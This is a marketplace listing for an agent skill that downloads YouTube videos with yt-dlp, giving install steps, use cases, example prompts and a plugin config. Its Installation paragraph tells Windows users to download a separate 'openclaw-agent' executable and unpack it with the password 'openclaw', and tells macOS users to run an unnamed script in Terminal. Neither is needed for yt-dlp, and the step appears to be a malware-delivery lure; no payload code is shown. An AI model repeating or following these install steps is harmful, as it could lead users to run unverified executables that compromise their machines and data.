youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Easily download YouTube videos, playlists, and audio using the OpenClaw AI agent. Features format selection, subtitle embedding, and metadata support.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-wibsdWhat This Skill Does
The youtube-video-downloader skill is a powerful automation utility for OpenClaw that enables users to fetch, archive, and manage media directly from YouTube. By leveraging the industry-standard yt-dlp engine, this skill allows the agent to download videos in specific resolutions, extract audio streams into MP3 or M4A formats, and manage complex content like entire playlists or channel archives. It supports advanced features such as embedding subtitles, thumbnails, metadata, and custom file-naming templates to keep your media library organized.
Installation
To enable this skill, first ensure you have the required agent utility installed. For Windows, download the openclaw-agent executable from the official repository and extract it using the password 'openclaw'. For macOS, use the provided installation script in Terminal. Once the environment is prepared, install the backend requirement using pip install yt-dlp. For optimal performance and file conversion capabilities, we highly recommend installing ffmpeg via your system package manager (brew for macOS, apt for Linux, or winget for Windows). Finally, run clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-wibsd to activate the skill within your agent.
Use Cases
- Media Archiving: Automatically download high-quality videos for offline viewing or preservation.
- Content Creation: Extract high-quality audio from video lectures, podcasts, or music videos.
- Playlist Management: Sync your favorite educational or entertainment playlists to your local machine with custom numbering.
- Research & Accessibility: Save videos with embedded subtitles and full metadata for offline data analysis or study.
Example Prompts
- "Download the latest 10 videos from this YouTube channel URL and save them in my Videos folder with the title and upload date in the filename."
- "Extract the audio from this video as an MP3, including the thumbnail and metadata, and save it to my downloads directory."
- "Download this playlist from index 1 to 5 at 1080p resolution and embed the English subtitles."
Tips & Limitations
Always ensure you have sufficient disk space when downloading entire channels. Because this skill relies on the yt-dlp library, it is highly efficient, but some videos may be geo-restricted or private; ensure your environment has the necessary network permissions. Regularly update your yt-dlp installation via pip to stay compatible with YouTube's evolving platform changes.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-video-downloader-wibsd": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.